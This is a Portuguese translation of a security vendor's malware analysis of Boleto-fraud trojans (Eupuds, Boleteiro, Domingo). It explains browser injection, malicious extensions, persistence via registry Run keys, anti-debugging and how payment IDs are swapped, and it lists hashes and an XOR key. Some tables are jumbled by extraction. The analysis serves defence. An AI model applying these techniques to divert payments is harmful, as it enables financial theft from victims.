Análise de malware que visa o sistema de pagamento via Boleto

SECURITY RESPONSE

Análise de malware que visa o sistema de pagamento via Boleto Bancário

Stephen Doherty, Nikolaos Tsapakis 

Version 1.0 – Mar 5, 2015, 22:00 GMT

Embora o pagamento por meio de Boleto Bancário exista somente no Brasil, atualmente existem ao menos três famílias de malwares que têm como alvo este tipo de transação. SUMÁRIO

Visão Geral...... 3 O QUE É UM BOLETO?...... 5 FRAUDES DE BOLETOS...... 6 MALWARE DE BOLETOS...... 6 VETORES DE INFECÇÃO...... 6 TÁTICAS DE INTERCEPTAÇÃO DE BOLETO ������������� 7 TÉCNICAS DE FRAUDE DE BOLETOS...... 9 CAPACIDADES SECUNDÁRIAS...... 10 PRECAUÇÕES...... 12 RECOMENDAÇÕES PARA CONSUMIDORES ���������� 12 CONCLUSÃO...... 12 PROTEÇÃO...... 12 ANEXO ...... 14 Trojan.Eupuds...... 14 Infostealer.Boleteiro...... 28 Infostealer.Domingo...... 41 Referências...... 47 VISÃO GERAL

As ações cibercriminosas tornaram-se globais e, nos últimos anos, houve um crescimento no número de ataques a países específicos e às instituições financeiras. Uma evidência que chama a atenção é o surgimento de um malware voltado para o sistema de pagamentos via Boleto. Ainda que o Boleto seja utilizado somente no Brasil, sabe-se que existem ao menos três tipos de famílias malware que são direcionadas a essas transações. E devido à dimensão do mercado brasileiro e da popularidade do boleto como um método de pagamento, o Boleto malware (ou Bolware) tornou-se um grande negócio, capaz de gerar lucros de dezenas de milhões de dólares por ano aos cibercriminosos. O QUE É UM BOLETO?

Uma das razões por trás da popularidade do Boleto é que o sistema é acessível e fácil de usar. Análise de malware que visa o sistema de pagamento via Boleto

O QUE É UM BOLETO?

O Boleto Bancário (ou simplesmente ‘boleto’ ou Boleto de Cobrança como é conhecido) é um sistema de pagamento exclusivo do Brasil. Introduzido em 1993, ele é essencialmente uma espécie de fatura, emitida por uma empresa, que permite ao adquirente realizar um pagamento de bens e serviços. Regulamentado pela FEBRABAN (Federação Brasileira de Bancos), o boleto é muito popular no Brasil. De acordo com as mais recentes estatísticas disponibilizadas pelo Banco Central, as transferências de crédito (que utilizam boletos) corresponderam a 21% do volume de transações financeiras em 2011, onde a liquidação interbancária estava envolvida. Contudo, quando transações que não fazem uso de liquidação interbancária são consideradas, as transferências de crédito contabilizam 46% no total de pagamentos em 2011. Esse indicador ressalta que uma significante parcela de pagamentos por boleto é diretamente encaminhada para o banco emissor. Enquanto isso, as transferências de crédito foram responsáveis por 86% do valor total das transações financeiras em 2011. O pagamento de boletos também é responsável por uma proporção significativa das transações bancárias on- line. O Banco Central constatou que 9% das transações bancárias on-line em 2011 se deram por pagamentos via boleto. Isso comparado a 8% para outros tipos de transferências de fundos. O boleto é também uma forma popular de pagamento no mercado de e-commerce. Segundo pesquisa da Empresa E-Bit, responsável pelo fornecimento de informações sobre o e-commerce nacional, os boletos foram utilizados para liquidar 18% das transações de comércio eletrônico em 2012, tornando-se o segundo meio de pagamento mais popular depois dos cartões de crédito (73%). Inicialmente, os boletos podiam ser pagos somente em bancos, mas o sistema se expandiu para permitir o pagamento em agências dos correios, lojas, caixas eletrônicos, casas lotéricas ou on-line por meio de internet banking. Uma das razões por trás da popularidade do Boleto é que o sistema é acessível e fácil de usar. Qualquer indivíduo que possua uma conta bancária pode emitir um boleto. Existem inúmeras formas para que o destinatário efetue o pagamento do boleto e nenhuma conta bancária é necessária para pagar o documento.

Figura 1. Um exemplo típico de boleto com representação numérica e de código de barras única

Page 5 Análise de malware que visa o sistema de pagamento via Boleto

Os boletos possuem uma padronização definida pelo Banco Central e cada boleto contém informações como o nome do banco emissor, nome da pessoa ou organização da qual o boleto fora endereçado, o valor a ser pago e sua data de vencimento. Cada boleto possui também uma identidade numérica e código de barras exclusivos, que possibilitam o pagamento após um simples escaneamento. Originalmente impressos em papel, os boletos também se transformaram e, atualmente, são emitidos eletronicamente, comumente em formato HTML. O destinatário pode imprimir o boleto e pagá-lo em um banco ou outro local. Alternativamente, pode-se usar a sequência numérica ou o código de barras do boleto e pagá-lo on-line ou pelo mobile banking (tablets e smartphones).

FRAUDES DE BOLETOS

Dada a sua popularidade no Brasil, não é espantoso que o sistema de boleto seja frequentemente alvo de criminosos em suas tentativas para roubar dinheiro de usuários. A forma de fraude mais antiquada e desimpedida que chega ao sistema de pagamento é a de geração de boletos falsos, que podem ser distribuídos em formato impresso, por meio de um sistema postal ou em formato eletrônico por intermédio de e-mails spam. Normalmente, o boleto falso se assemelha ao boleto legítimo como conta de serviço. Os detalhes de pagamento derivam-se de uma conta controlada por fraudadores e as vítimas podem ser enganadas por acreditarem que irão pagar uma fatura legítima. O aparecimento dos boletos eletrônicos levou um altíssimo grau de sofisticação nas falsificações de boletos e na eclosão de malware, que têm como alvo os pagadores de boletos.

MALWARE DE BOLETOS

Os Malwares que atacam usuários de boletos emergiram nos últimos três anos. A Symantec tem conhecimento de três diferentes tipos de malwares que visam o sistema de pagamento: Trojan.Eupuds, Infostealer.Boleteiro e Infstealer.Domingo. Os três se aproveitam de Trojans financeiros modernos, com investidas, sobretudo, de invasão do navegador do usuário com a intenção de interceptar e alterar boletos eletrônicos. Alterando a sequência numérica e, em alguns casos o código de barras, a vítima pode involuntariamente enviar o pagamento para uma conta gerenciada por infratores. VETORES DE INFECÇÃO O Malware de boletos possui dois vetores principais: e-mails spam e sequestro do Sistema de Nomes e Domínios (DNS). As campanhas Spam que transportam malware geralmente adotam uma de duas táticas diferentes. Em alguns casos, é enviado um e-mail que contém Figura 2. Detecção das famílias do Boleto Malware um malware escondido no anexo. Estratégias de engenharia social são, de costume, utilizadas para enganar a vítima para abrir o anexo, mascarando-o como uma fatura ou um documento importante. A segunda tática de Spam é enviar um e-mail contendo um link. Nesse caso, os cibercriminosos utilizam de engenharia social para persuadir a vítima a clicar no link, que pode direcionar a um malware que se instala no computador da vítima. Muitas campanhas de transportes de malware instalam ameaças conhecidas como downloaders no computador

Page 6 Análise de malware que visa o sistema de pagamento via Boleto

da vítima que, por sua vez, é capaz de baixar outros malwares de um servidor de comando-e-controle (C&C). O sequestro de DNS utiliza um malware para alterar as configurações dos protocolos TCP/IP de um dispositivo a fim de redirecioná-los para um servidor DNS hostil. Este malware poderia se instalar no computador de uma vítima ou em um website comprometido. Servidores DNS legítimos irão traduzir nomes de domínios para endereços de IP associados a eles. Um servidor DNS hostil pode redirecionar o trafego para rotas de escolha do criminoso, como websites falsos, designados para roubar credenciais ou capazes de instalar malwares nos computadores de suas vítimas. Ataques de sequestro de DNS podem afetar roteadores domésticos, além de computadores convencionais, e essa tática é muitas vezes a favorita de infratores, uma vez que os roteadores geralmente têm um menor nível de segurança. Por exemplo, os infratores podem tentar acessar um roteador usando nomes de usuário e senhas padrão de fábrica. Um roteador que tenha sido comprometido por um ataque de sequestro de DNS é capaz de redirecionar o tráfego de qualquer computador usando esse roteador para acessar a internet. TÁTICAS DE INTERCEPTAÇÃO DE BOLETO O Boleto Malware utiliza uma série de táticas para interceptar e alterar boletos. Cada tática envolve uma tentativa de interceptar um Boleto entre o momento em que é emitido e o quando ele é pago. Os detalhes da transação no boleto são alterados para garantir que o pagamento seja enviado para os hackers, em vez do destinatário legítimo. MANIPULAÇÃO ON-LINE Todas as três famílias de malware via boleto são capazes de sequestrar o navegador da vítima e detectar quando um boleto é exibido dentro do navegador. Usando uma de muitas técnicas diferentes, o malware irá alterar o boleto instantaneamente, mudando o ID (recebedor) e o número de código de barras, de modo a enganar a vítima em enviar o pagamento para a conta bancária controlada pelos criminosos. Em alguns casos, o código de

Figura 3. Criminosos interceptam e alteram a sequência numérica (ID) e seu respectivo código de barras para iden- tificar uma nova conta bancária mencionada no campo de texto do boleto.

Page 7 Análise de malware que visa o sistema de pagamento via Boleto

barras é alterado para tornar o boleto ilegível, forçando a vítima a inserir manualmente a sequência numérica ao fazer um pagamento. Em outros casos, o código de barras é substituído por um novo que reflete a sequência numérica alterada.

Por exemplo, Eupuds é capaz de sequestrar os três principais navegadores: , Chrome e Firefox. O malware verifica o tráfego de entrada para o navegador dos boletos que tenham sido emitidos por qualquer um dos 36 bancos diferentes. Se a ameaça detecta um boleto, ele imediatamente contata um servidor C&C e realiza o upload de dados sobre o boleto e informações de sistema do computador infectado. O servidor C&C vai responder com novos dados para manipular o boleto, que é exibido no navegador do usuário. Porém, em vez de projetar os dados legítimos, são os dados do criminoso apresentados ao usuário.

Eupuds altera a sequência numérica e o código de barras de um boleto interceptado. Contudo, o código de barras é vagamente alterado tornando-o ilegível, o que significa que a vítima deve confiar no número ID fornecido pelo infrator para fazer um pagamento.

Boleteiro também faz uso de uma tática similar de manipulação instantânea (on-the-fly). Ele é capaz de se infiltrar no Internet Explorer, Chrome e browsers Maxthon, analisando no navegador o tráfego de entrada para boletos emitidos por 13 instituições financeiras diferentes. Quando o boleto é exibido no navegador da vítima, o malware substitui a sequência ID legítima do boleto e seu código de barras com novas versões, fornecidas pelo infrator. Boleteiro difere de outros tipos de malware na alteração do código de barras, substitui por um novo código em vez de tornar o código de barras ilegível.

Domingo também usa essa tática, mas só é capaz de sequestrar o Internet Explorer. Ao contrário do Eupuds e Boleteiro, o malware não está configurado para procurar boletos emitidos por qualquer banco em particular. Em vez disso, ele simplesmente varre todas as páginas HTML exibidas para números de boletos. O número do boleto é uma sequência de dígitos de zero a nove e pode incluir alguns caracteres, como pontos (0x2E) e espaços (0x20) em posições específicas. Domingo fará uma varredura de números que combinem com estas características e analisa compensações especificas para verificar que esta sequência é um número de boleto. Se o malware encontra um padrão numérico de boleto, então a ameaça substitui o número ID e o código de barras com as informações de dados do criminoso. Assim como Eupuds, o código de barras é manipulado para ser ilegível, forçando a vítima a utilizar o número ID ao fazer o pagamento. INTERCEPTAÇÃO DE PAGAMENTOS ON-LINE MANUAIS Uma outra oportunidade para infratores de interceptar um boleto se faz quando a vítima tenta pagar um boleto on-line. Diversos bancos brasileiros permitem que seus correntistas paguem seus boletos por meio de seus serviços on-line. Se um computador de uma vítima estiver comprometido, o malware pode monitorar o trafego do navegador e identificar um número ID assim que o usuário o atribua. O malware irá interceptará o número ID do boleto e o altera com o do criminoso. Caso a transação seja completada, o pagamento será enviado para a conta bancaria gerenciada pelo infrator. Esta tática é utilizada pelo Eupuds, o qual é capaz de sequestrar os navegadores Internet Explorer, Chrome e Firefox. O malware irá inspecionar a POST-data atribuída no navegador por um padrão numérico de boletos; o número ID, juntamente com algumas informações básicas de sistema e o envia ao servidor C&C, que responde com as informações do boleto do infrator e altera os detalhes de pagamento do boleto. ESCANEAMENTO DO PC Uma forma simples, mas muito eficiente para alterar boletos é escanear computadores infectados para transações via boletos, supondo que a vítima pode ter salvado um ou mais boletos que ainda serão pagos. Esta tática é utilizada pelo Domingo e é essencialmente uma ‘versão off-line’ de sua capacidade de manipulação on-line. O malware irá escanear qualquer diretório, conectado ao computador infectado, por arquivos .HTM ou .HTML, procurando em cada um deles, um número ID de boleto. Se for encontrado, a ameaça irá substituir a sequência numérica ID e seu código de barras com os dados do infrator. O malware também substitui o código de barra por um novo, gerado pelo criminoso.

Page 8 Análise de malware que visa o sistema de pagamento via Boleto

TÉCNICAS DE FRAUDE DE BOLETOS Malware de boletos emprega uma variedade de técnicas para comprometer o computador da vítima. Infratores focam principalmente em sequestrar o navegador da vítima a fim de interceptar o trafego e detectar quando um número ID de boleto é visualizado ou inserido no navegador. Ataques Man-in-the-browser (MITB) Esta técnica é utilizada pelo Eupuds, uma ameaça que é capaz de sequestrar o Internet Explorer, Chrome e Firefox.

Ataques MITB são facilitados por um Injetor Componente do Browser do Malware, um DLL 32-bit. O papel deste componente é de identificar se qualquer dos navegadores acima mencionados está instalado em um PC infectado e se, algum outro for encontrado, instala-se o malware Boleto Stealer (ladrão de boleto) no navegador. O navegador Injetor varre o computador para os principais processos correspondentes dos três navegadores: iexplorer.exe, firefox.exe e chrome.exe. Se o encontrar em qualquer ocasião, serão realizadas checagens suplementares para averiguar se os processos DLL foram carregados. Estas checagens secundárias são designadas para confirmar, com maior nível de certeza, que o processo é de fato relacionado ao navegador.

Caso o Navegador Injetor encontre um processo de navegação legitimo, ele insere o Boleto Stealer nele que, então, notifica o Navegador Injetor quando a ameaça for inserida e executada com êxito.

O Boleto Stealer é um componente DLL de 32-bit. Uma vez injetado nos processos de navegação, é de sua responsabilidade interceptar o tráfego de boletos e enviá-los a um servidor C&C. O servidor C&C por sua vez, responde com dados que são utilizados para sobrescrever o boleto original.

Quando injetados, a primeira coisa que o Boleto Stealer faz é determinar qual processo de navegação fora injetado e ligado aos adequados para desferir ataques MITB, a fim de interceptar e manipular dados presos no navegador. Irá da mesma forma buscar por vários plugins de navegadores, utilizados para fornecer segurança suplementar para as transações financeiras e irá tentar desarmá-los.

Uma vez em processo, o Boleto Stealer monitora o tráfego por sinais de um numero ID de boleto. O malware tenta minimizar sua carga de trabalho, ignorando certos tipos de trafego de entrada, como arquivos de imagem, vídeos e páginas de rede sociais.

Caso um número ID seja encontrado, o malware tenta alterar o boleto com as informações de dados fornecidas pelo infrator, como descrito anteriormente. ATAQUES BROWSER HELPER OBJECT (BHO) Esta categoria de ataques é utilizada pelo malware Boleteiro e se caracteriza por sequestrar o navegador Internet Explorer. Quando um computador é infectado com um Boleteiro, um componente conhecido como Boleteiro Dropper A cria um Browser Helper Object (BHO) hostil, registrado para carregar sempre que o Internet Explorer for inicializado. Em alguns casos, o BHO recebe o nome de arquivo AdobePro.jpg. Uma vez instalado, o BHO hostil varre o trafego de navegação para encontrar número que combinam com um ID de boleto. Se algum for encontrado, o Boleteiro o envia para um servidor C&C juntamente com a data de vencimento, valor do documento, pagante, beneficiário pretendido e acionador de URL. O servidor C&C retornará com um novo número Id de boleto que será usado para alterar o boleto visualizado no navegador. ATAQUES DE EXTENSÕES DO CHROME O Boleteiro é também capaz de atacar as extensões do Chrome. Eles operam em um modo similar aos ataques BHO, que o malware utiliza contra o Internet Explorer. O Boleteiro gera uma extensão maliciosa do Chrome e modifica o link de atalho do navegador a fim de carregar as extensões hostis toda vez em que for inicializado. A extensão está escrita em Javascript e é capaz de detectar e manipular os boletos mostrados no navegador. Ele monitora o trafego por números que combinam com o padrão numérico dos boletos e quando é encontrado o envia para o servidor C&C juntamente com a data de vencimento, valor do documento, pagante, beneficiário pretendido e acionador de URL. O servidor C&C retornará com um novo número Id de boleto que desviará o pagamento para uma conta controlada por cibercriminosos.

Page 9 Análise de malware que visa o sistema de pagamento via Boleto

ATAQUES AOS ADITIVOS MAXTHON Um terceiro ataque a navegadores que o Boleteiro é capaz é contra o Maxthon, um navegador freeware que fora desenvolvido na China e possui uma cota de mercado menor do que um por cento (1%). Boleteiro realiza um download de um dos add-ons nocivos da Maxthon, para o computador infectado. Quando instalado, ele mascara- se como uma aplicação legitima intitulada de Maxthon Update. Os add-ons carregam-se sempre que o navegador é inicializado e funcionam por escanear o tráfego para números ID Boleteiro e substitui estes números com os dados fornecidos pelo criminoso. ATAQUES DOM AO INTERNET EXPLORER Outro tipo de ataque contra um navegador é desferido pelo Domingo, o qual usa-se o Componente Object Model do Windows para executar manipulações DOM () no Internet Explorer para modificar boletos com dados do infrator.

O Domingo dropper cria dois componentes no PC infectado: o componente Persistence (startup.exe) e o Boleto Manipulator (indústria.exe). Uma vez que ambos os arquivos forem executados, o dropper se encerra. O componente Persistance cria um registro chave para garantir que o Boleto Manipulator seja reativado sempre que o computador for reinicializado. O Boleto Manipulator atua como um Boleto Stealer (ladrão de boletos). Ele utiliza um controle do navegador chamado shdocvw.dll para interagir com o Internet Explorer.

Uma vez em que está em funcionamento, o Boleto Manipulator identifica um número ID de boleto no tráfego de dados do navegador. Ele substituirá o número por um dado fornecido pelo criminoso, o que fará com que o pagamento seja desviado para uma conta administrada pelos infratores. O Boleto Manipulator também alterará o código de barras de modo que o boleto modificado possa ser escaneado.

Interessantemente, se o Boleto Manipulator não pode contatar um servidor C&C para realizar o download do número ID do infrator, um modelo de número hard-code é usado, alternativamente. ATAQUES OFF-LINE O Domingo também possui a habilidade de encontrar e alterar boletos fora do browser. O componente Boleto Manipulator do malware buscará qualquer diretório conectado ao PC infectado (de B: a Z:) e fará um escaneamento para arquivos .HTM ou .HTML. Se algum destes arquivos que contém um número ID de boleto for encontrado, o Boleto Manipulator irá alterar o boleto do mesmo modo que faria um ataque do Internet Explorer, alterando o número ID e o código de barras por dados fornecidos pelo infrator. CAPACIDADES SECUNDÁRIAS Algumas variantes do malware de boletos possuem características adicionais que permitem o malware preparar ataques não relacionados diretamente a boletos. Por exemplo, o Boleteiro também é capaz de roubar on-line banking e credenciais de e-mails das vítimas. As extensões Chrome hostis do malware realizam checagens periódicas para averiguar se a vítima visita websites brasileiros de dois diferentes bancos multinacionais. No caso de um banco, a extensão hostil do navegador usurpará o nome do usuário, senha de acesso, e senha do token usados para acessar a conta. No caso do segundo banco, o malware é configurado para roubar o nome de usuário, password, número do token, número da conta bancaria, empresa ou organização, assinatura e número do celular da vítima.

Somado a isso, a extensão Chrome hostil do Boleteiro pode também roubar nomes e senhas para acessar o Live. com da . É bem provável que os infratores usem esta informação para espalhar o malware do boleto a novos ataques de e-mail de engenharia social.

O Boleteiro pode também atacar o Internet Explorer de forma similar ao usado no ataque BHO. Contudo, neste caso, pode-se roubar somente credenciais de um dos bancos mencionados acima, além do Live.com.

Eupuds também é capaz de roubar credenciais de acesso. O malware desfere um ataque MITB para sequestrar os navegadores Internet Explorer, Chrome e Firefox. O malware irá monitorar o tráfego de dados buscando acessar o Live.com e o Facebook. Logo, ele tenta roubar o nome de usuário da vítima e senha de acesso do Live.com. Durante a análise, a funcionalidade de roubo de credenciais do Eupud aparenta estar desabilitada ou fora de funcionamento por estar ainda em desenvolvimento.

Page 10 PRECAUÇÕES

Caso suspeite de um boleto, você pode comparar o número ID de contas anteriores da mesma companhia. Análise de malware que visa o sistema de pagamento via Boleto

PRECAUÇÕES

Caso suspeite de um boleto, você pode comparar o número ID de contas anteriores da mesma companhia. RECOMENDAÇÕES PARA CONSUMIDORES • Mantenha as definições de vírus, sistema operacional e software atualizados; • Tenha cautela ao clicar em links sugestivos enviados por e-mails, serviços de mensagens ou em redes sociais; • Somente faça download de arquivos de fontes legítimas e confiáveis; • Não negligencie a segurança de seu roteador de internet. Altere a senha administrativa padrão e faça atualizações de software sempre que possível. • Desconfie se o código de barras em um boleto não funciona. Veja o boleto para garantir que não tenha sido manipulado; • Caso suspeite de um boleto, você pode comparar o número ID de contas anteriores da mesma companhia. Na maioria dos casos, a primeira metade da sequência numérica ID permanecerá a mesma, mês após mês. Estes parciais numéricos identificam a conta bancária a ser creditada; • Considere utilizar métodos de pagamentos mais seguros, como Débito Direto Autorizado (DDA) para pagar suas contas. CONCLUSÃO

Nos últimos três anos, o malware de boleto emergiu tendo como alvo o mercado brasileiro, e existem agora, ao menos, três famílias de malwares diferentes, que visam atingir usuários do desse sistema de pagamento. Infratores têm adotado táticas e técnicas aprimoradas de formas antiquadas de malwares financeiros a fim de criar uma ameaça exclusiva brasileira.

É difícil estimar o total de perdas atribuídas ao malware do boleto, mas devido ao crescimento e persistência da ameaça, é razoável concluir que estas campanhas hostis continuam sendo altamente lucrativas para os criminosos.

Posteriormente, é provável que a trajetória malware do boleto continuará a expandir com mais grupos cibercriminosos adentrando nesta área. Novas variantes de malware poderão surgir e Trojans já existentes poderão ser modificados com novos módulos, especificamente confeccionados para roubar boletos. É muito provável que grupos que atacam o sistema de boleto atualmente continuarão a aprimorar seus malwares por meio de investidas ao desenvolvimento de características designados a ignorar medidas de segurança. O malware de boleto deve ser encarado como uma ameaça em evolução e a vigilância constante é recomendada.

PROTEÇÃO

Produtos Symantec e Norton detectam estas ameaças como:

Antivírus • Trojan.Eupuds • Trojan.Eupuds!gm • Infostealer.Boleteiro • Infostealer.Domingo IPS • System Infected: Trojan.Eupuds Network Activity • System Infected: Infostealer.Boleteiro Activity • System Infected: Infostealer.Boleteiro Activity 2 • System Infected: Infostealer.Boleteiro Activity 3

Page 12 ANEXO Análise de malware que visa o sistema de pagamento via Boleto

ANEXO

Trojan.Eupuds Beryllium é um grupo de criminosos que participa de fraudes financeiras em grande escala utilizando o Trojan. Eupuds. De acordo com um relatório recente do RSA Security de Julho de 2014, os cibercriminosos atuam desde 2012 e tentaram roubar aproximadamente US$3,75 milhões em boletos de usuários. O Trojan.Eupuds se utiliza da bem estabelecida técnica man-in-the-browser (MITB), que consegue interceptar atividade on-line, incluindo as transações envolvendo boletos. Trojan.Eupuds modifica o número do boleto para redirecionar seus fundos para uma conta “laranja” em vez do destino esperado. Infelizmente para a vítima, as alterações são sutis e difíceis de detectar, até mesmo por indivíduos precavidos e experientes em relação à segurança. Beryllium tem como alvo pagamentos via boleto de mais de 30 instituições, tanto quando este é gerado on-line ou quando um usuário insere o número do boleto manualmente. Para induzir os usuários a digitar os números do boleto, os criminosos modificam o código de barras (que ainda contém os dados reais do pagamento) para que a máquina não consiga ler automaticamente. IDENTIFICAÇÃO Tabela 1. Pseudônimos para Eupuds Tabela 1 contém uma lista de fabricantes que identificaram a ameaça. Vendor Aliases

Symantec Trojan.Eupuds Microsoft Trojan:Win32/Eupuds.A

A Tabela 2 - Lista os artefatos usados como parte da análise.

Table 2. List of Eupuds artifacts PE Data/ Parent (MD5) Tamanho Packed Proposito Child (MD5) Hora (bytes) 15/01/10 5f856a3edf769f01061b- 1053442 Yes Eupuds AutoIt Loader 7ba69974f63703dc5c102d11ec9167d9 16:09:54 13b2a1165d2c 20/03/14 7ba69974f63703dc5c102d- 621568 No Eupuds Loader fceebcd8abddbfaf65623f53404ff6d7 01:24:11 11ec9167d9 074e15006411c63f3e90d55dc4b4abbd

20/03/14 fceebcd8abddb- 347648 No Browser 53289ae1a4753a2973423e0c6d6d0361 01:22:53 faf65623f53404ff6d7 Injector 20/03/14 53289ae1a4753a- 132608 No Boleto Stealer 00:55:56 2973423e0c6d6d0361 30/11/12 074e15006411c63f3e90d- 54784 No Internet 02:18:52 55dc4b4abbd Explorer Launcher

USO DE EXPLOIT Nenhum uso de Exploit foi observado durante a análise.

Page 14 Análise de malware que visa o sistema de pagamento via Boleto

ANTI-ANÁLISE Tabela 3 contém uma lista de desafios de engenharia Tabela 3. Lista de técnicas de anti-análises usadas por reversa descobertos durante o curso da análise. Eupuds Categoria Descrição ANTI–DEPURADOR Anti-debug SIM

Durante a instalação do Trojan.Eupuds a depuração Anti-emulation NÃO (limpeza) pode ser dificultada pelas seguintes razões: Anti-VM NÃO 1. Eupuds executa sob vários processos criados durante a instalação; Packing and compression SIM a. O Eupuds AutoIt Loader cria um novo Obfuscation SIM processo filho e termina o pai; b. O processo recém criado injeta mais código Host-based encryption NÃO em um processo do sistema existente; Network-based encryption SIM c. O código recém injetado vai injetar um código adicional no navegador; Server-side tricks NÃO 2. Eupuds aciona o IsDebuggerPresent API para verificar se está sendo depurado; 3. O cabeçalho do DLLs injetado foi modificado, o que dificulta a identificação. PACOTE E COMPRESSÃO AutoIt é usado para gerar pacotes do Eupuds Loader.

OFUSCAÇÃO AutoIt é usado para ofuscar o Eupuds Loader.

CRIPTOGRAFIA O Eupuds criptografa cadeias dentro de seus códigos binários.

CRIPTOGRAFIA DE BASE-HOST O Boleto Stealer contém sequências XOR criptografadas para mascarar os seguintes: 1. Plugins DLL para efeitos de segurança associados com o Banco de Brasil; 2. URLs 3. Cadeias relacionadas a Boleto;

CRIPTOGRAFIA DE REDE O Browser Injector usa criptografia XOR e codificação Base64 com um Tabela 4. Lista de algoritmos de alfabeto de codificação não usual durante as solicitações POST para o criptografia e chaves usados pelo servidor de controle. Eupuds Encryption Key SEQUÊNCIA ALEATÓRIA DE ALGORITMOS XOR 0xA4BBCCD4 Eupuds usa uma sequência de algoritmo aleatória na criação de: Base64 A-Z,a-z,0-9,-,_ 1. Nomes de arquivos aleatórios; 2. Nomes de pastas aleatórios; 3. Proteção aleatória para dados durante as comunicações de rede; O algoritmo gera cadeias que são: 1. Um a oito caracteres de comprimento;

Page 15 Análise de malware que visa o sistema de pagamento via Boleto

2. Composta de caracteres alfanuméricos de zero a nove e de A até F; Nota: Eupuds usa variações deste algoritmo com comprimentos alternativos e caracteres alfanuméricos. EUPUDS AUTOIT LOADER The Eupuds AutoIt Loader is a 32-bit AutoIt executable used to package the Eupuds Loader.

Tabela 5. Características de componentes de Funcionalidade do Eupuds AutoIt Loader MD5 5f856a3edf769f01061b13b2a1165d2c SHA-1 420716e3c535e8b12a90d347e08c8a1aec86164f SHA-256 32e3ac1c0f4e03ff1463d2262ef9a064f1255fc915a03afe081582bd909bedd8 Tamanho (bytes) 1053442 Propósito Compactar o Eupuds Loader

O Eupuds AutoIt Loader é responsável por: 1. Descompactar o Eupuds Loader; 2. Criar um novo processo e substituir o conteúdo deste novo processo com o Eupuds Loader; 3. Executar o Eupuds Loader dentro do processo recém-criado

EUPUDS LOADER O Eupuds Loader é um executável de 32 bits descompactado pelo Eupuds AutoIt Loader. O Eupuds Loader contém o Browser Injector e o inicializador do Internet Explorer. Ele é responsável pela injeção de componentes adicionais em processos existentes do sistema e do navegador.

Tabela 6. Características do componente Eupuds Loader MD5 7ba69974f63703dc5c102d11ec9167d9 SHA-1 c1eca9f2074699a9f78b262c24967f05ea20bab1 SHA-256 3b0e534e7adaa992d2c4643a4d4f5dd30b265b93b2d18f30e4db2655b8456f1a Tamanho (bytes) 621568 Propósito Carrega os componentes adicionais relacionados ao Eupuds

FUNCIONALIDADE O Eupuds Loader verificará o seguinte mutex: • DynGateInstanceMutexS Se o mutex for encontrado, o Loader vai parar a atividade e assegurar que somente uma instancia do Eupuds está sendo executada. O Eupuds Loader irá então enumerar os processos que estão atualmente no computador e selecionará um para inserir o Browser Injector. Uma vez inserido, o MZ header do Browser Injector é modificado para prevenir a depuração e o esvaziamento do modulo. O Eupuds Loader é apto para comunicação inter-processos (IPC). O Eupuds Loader contém a versão 7.19.5 de libcurl, uma biblioteca de transferência de URL fácil de usar. No entanto, essa biblioteca não é utilizada nas atividades do Loader. .

Page 16 Análise de malware que visa o sistema de pagamento via Boleto

INSTALAÇÃO O Eupuds Loader injetará o Browser Injector nos processos existentes do sistema, entretanto, não nos da lista a seguir: • explorer.exe • userinit.exe • iexplore.exe • firefox.exe • chrome.exe • System Idle Process • System • Interrupts • csrss.exe • svchost.exe • winlogon.exe • services.exe (ou qualquer de seus processos filhos) • lsass.exe O Eupuds Loader não é injetado em um processo com um PID = 0 (Sistema). BROWSER INJECTOR O Browser Injector é um DLL de 32-bit que é incorporado ao Eupuds Loader. O Browser Injector contém o Boleto Stealer e é responsável por inseri-lo nos processos relacionados ao browser.

Table 7. Eupuds Browser Injector component characteristics MD5 fceebcd8abddbfaf65623f53404ff6d7 SHA-1 b26fab38aa805e3b9e238ca56e628b5d8878b943 SHA-256 fde90fa4f1435eceab5902c928e7c9a58b0ebf7090e7670446796d6c19fa4568 Size (bytes) 347648 Purpose Browser Injector

Nota: O cabeçalho MZ do Boleto Stealer fora modificado para ser “\x10Z”. FUNCIONALIDADE O Eupuds Loader averiguará os seguintes mutex: • DynGateInstanceMutexS Caso o mutex seja encontrado, o Loader interrompe a sua atividade para garantir que apenas uma instância de Eupuds está em execução. Se o mutex não for encontrado, o Browser Injector irá criá-lo. O Browser Injector buscará então, os seguintes processos relacionados com o browser em um loop: • iexplore.exe: se encontrado, o Browser Injector irá averiguar se o wininet.dll foi carregado neste processo; • firefox.exe: Se encontrado, o Browser Injector irá averiguar se as combinações ssl3.dll, nss3.dll, snpr4.dll, e ssl3.dll foram carregadas no processo. • chrome.exe: Se encontrado, o Browser Injector irá averiguar se chrome.dll fora carregado no processo. • Estas verificações adicionais proporcionam um nível maior de confiança de que o processo alvo, é de fato, relacionado ao processo do browser. • Caso as condições sejam desconhecidas, o Browser Injector i continuará procurando por processos relacionados ao browser. No caso de o Browser Injector encontrar um processo legitimo de navegação como alvo, ele injetará o Boleto Stealer e removerá a ameaça. O Boleto Stealer irá notificar o Browser Injector

Page 17 Análise de malware que visa o sistema de pagamento via Boleto

quando for injetado e executado com sucesso. O Boleto Stealer não será injetado no Chrome ou no Internet Explorer se o processo originador for explorer.exe. O Boleto Stealer não será injetado nestes browsers quando uma nova aba é aberta. Se o processo do navegador é encerrado, o Browser Injector continuará a procura por navegadores para injetar o Boleto Stealer. O Browser Injector também conecta o ExitProcess API no processo de hospedagem, substituindo este pela função de hibernar, com o objetivo de prevenir que o processo seja encerrado. Adicionalmente, quando o Browser Injector é injetado no iexplore.exe, este pode realizar as seguintes ações: 1. Criar arquivos vazios enquanto verifica o acesso aos arquivos 2. Criar arquivos e registros de valores para persistência 3. Registra-se com o servidor C & C usando uma solicitação POST INSTALAÇÃO O Browser Injector irá criar os seguintes registros de entrada para assegurar que o Eupuds AutoIt Loader seja iniciado sempre que o computador for reiniciado (tabela 8). O que se segue é um exemplo do caminho do arquivo criado para o Eupuds AutoIt Loader.

Tabela 8. Registro de Entrada criado pelo componente Eupuds Browser Injector Ação Chave de registro Nome Tipo Data

Criado HKEY_CURRENT_USER\Software\ [RANDOM FILE NAME] REG_SZ %UserProfile%\Application Microsoft\ Data\[RANDOM FOLDER NAME]\ [RANDOM FILE NAME].exe Windows\CurrentVersion\ [RANDOM FILE Run NAME] REG_SZ %UserProfile%\Appli- cation Data\[RANDOM FOLDER NAME]\[RANDOM FILE NAME].exe

• %SystemDrive%\Documents and Settings\Administrator\Appdata\3ee853b6\813.exe A sequência de algoritmo aleatória é usada para gerar o nome do arquivo e pasta. O Eupuds AutoIt Loader é copiado para o local da Tabela 9.

Tabela 9. Localização do Eupuds AutoIt Loader Ação Caminho Nome do Arquivo MD5

